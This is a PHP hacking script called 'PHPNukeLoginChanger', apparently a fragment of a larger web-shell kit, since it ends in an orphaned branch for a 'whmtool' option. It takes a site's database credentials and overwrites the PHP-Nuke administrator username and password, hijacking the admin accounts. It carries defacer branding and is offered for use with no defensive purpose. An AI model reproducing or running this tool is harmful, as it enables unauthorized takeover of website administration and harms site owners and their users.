PHPNukeLoginChanger

<?php
echo "<html><head><title>PHPNukeLoginChanger</title></head>";
echo "<body><center>
<h2>^_^ PiSh3r_Bl4cK ^_^</h2>
<h3>PHPNuke UsEr-PaSs FuCk3r</h3>
<form method=POST action=''>
DB HOST<br/>
<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
DB NAME<br/>
<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
DB USER<br/>
<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
DB PASSWORD<br/>
<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
<hr style='color:lime;'>

TARGET PREFIX<br/>
<input style='color:lime;background-color:#000000' type=txt name=prefix size='20'><br/>
NEW ADMIN LOGIN USER<br/>
<input value=admin style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
NEW ADMIN LOGIN PASS<br/>
<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>

<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";

$anu1 = $_POST['anu1'];
$anu2 = $_POST['anu2'];
$anu3 = $_POST['anu3'];
$anu4 = $_POST['anu4'];
@mysql_connect($anu1,$anu3,$anu4);
@mysql_select_db($anu2);

$userbaru=str_replace("\'","'",$userbaru);
$ganti_user = $_POST['userbaru'];
$passbaru=str_replace("\'","'",$passbaru);
$hash_pass = $_POST['passbaru'];
$ganti_pass = md5($hash_pass);

$prefix = $_POST['prefix'];
$table_name1 = $prefix."users" ;
$table_name2 = $prefix."authors" ;

$okenuke1 = "UPDATE $table_name1 SET username ='".$ganti_user."' WHERE user_id ='2'";
$okenuke2 = "UPDATE $table_name1 SET user_password ='".$ganti_pass."' WHERE user_id ='2'";
$okenuke3= "UPDATE $table_name2 SET aid ='".$ganti_user."' WHERE radminsuper ='1'";
$okenuke4 = "UPDATE $table_name2 SET pwd ='".$ganti_pass."' WHERE radminsuper ='1'";

$oke=@mysql_query($okenuke1);
$oke=@mysql_query($okenuke2);
$oke=@mysql_query($okenuke3);
$oke=@mysql_query($okenuke4);
if($oke)
{
echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
}
}
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmtool'))
    {
    ?>